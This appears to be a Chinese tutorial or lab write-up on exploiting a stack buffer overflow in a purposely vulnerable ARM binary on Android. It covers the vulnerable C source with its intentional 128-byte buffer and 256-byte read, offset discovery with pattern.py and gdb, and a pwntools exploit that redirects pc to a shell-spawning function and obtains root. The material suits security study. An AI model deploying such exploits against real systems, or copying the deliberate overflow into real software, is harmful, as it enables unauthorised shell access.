一、首先编写level6.c文件,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#include<stdio.h> #include<stdlib.h> #include<unistd.h> void callsystem() { system("/system/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); } |
二、使用arm-linux-gcc编译,开始使用的是win10自带的ubuntu16.04编译,发现死活安装不了arm-linux-gcc的交叉编译环境,各种报错(坑)。最后果断用了自己的Centos虚拟机,妥妥的一次OK(编译时这里有个坑,开始没有使用-static参数编译,发现编译后的level6执行时提示错误):
1 |
#./arm-linux-gcc level6.c -o level6 -static -fno-stack-protector |
三、需要使用socat这个神器,但是android的LINUX上没有该工具,于是又是一番Google(继续跳坑),找到一个android下使用的socat,另外还有两个神器,一起打包的下载地址:
四、将socat和level6一起push到/data/local/tmp目录中:
1 2 3 4 5 6 |
#adb push socat /data/local/tmp #adb push level6 /data/local/tmp #adb shell #cd /data/local/tmp #chmod 777 socat #chmod 777 level6 |
五、运行socat,然后开启端口映射:
1 2 |
#./socat TCP4-LISTEN:10001,fork EXEC:./level6 #adb forward tcp:10001 tcp:10001 |
六、nc连一下看看是否OK:
出现Hello,World,就表示OK了。
七、为了确定溢出点位置,用pattern.py来生成一些测试的字符:
1 |
#python pattern.py create 150 |
1 |
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 |
八、然后写一个py脚本来发送这串字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#!/usr/bin/env python from pwn import * #p = process('./level6') p = remote('127.0.0.1',10001) p.recvuntil('\n') raw_input() payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9" p.send(payload) p.interactive() |
然后在手机上运行#./socat TCP4-LISTEN:10001,fork EXEC:./level6,启动监听,因为需要获取崩溃时的pc值,所以在发送数据前,需要先使用gdb加载上level6,先在电脑上运行python脚本:
1 2 |
[pc]$ python test.py [+] Opening connection to 127.0.0.1 on port 10001: Done |
然后然后在adb shell中用ps获取level6的pid,然后再挂载level6,然后用c继续:
1 2 3 4 5 6 7 8 9 10 |
[adb]# ./gdb --pid=4895 GNU gdb 6.7 Copyright (C) 2007 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> …… Loaded symbols for /system/lib/libm.so 0xb6eff268 in read () from /system/lib/libc.so (gdb) c Continuing. |
然后在电脑上输入回车,让脚本发送数据。就可以在gdb里看到崩溃的pc的值了:
因为编译的level6默认是thumb模式,所以要在这个崩溃的地址上加个1:0x41346540+1 = 0x41346541。然后用pattern.py计算一下溢出点的位置:
OK,知道了溢出点的位置,我们就找返回的地址了,利用的代码在程序中已经写明。我们只要将pc指向callsystem()这个函数地址即可。我们在ida中可以看到地址为0x00008554(我这里看到的却是另一个地址)。
九、编写exp.py脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#!/usr/bin/env python from pwn import * #p = process('./level6') p = remote('127.0.0.1',10001) p.recvuntil('\n') callsystemaddr = 0x00008554 + 1 payload = 'A'*132 + p32(callsystemaddr) p.send(payload) p.interactive() |
依然先在手机上运行#./socat TCP4-LISTEN:10001,fork EXEC:./level6,然后运行脚本(很奇怪,我这里输入/system/bin/id,无任何回显,不知为何):
1 2 3 4 5 |
$ python level6.py [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode $ /system/bin/id uid=0(root) gid=0(root) context=u:r:shell:s0 |
看到评论中有网友提到:
如果编译时开了PIE,导致所有ELF文件的代码段虚地址也随机化是否就无法绕过呢?现在新版本的Android都强制开启PIE,感觉很难利用了。
难道跟这个有关?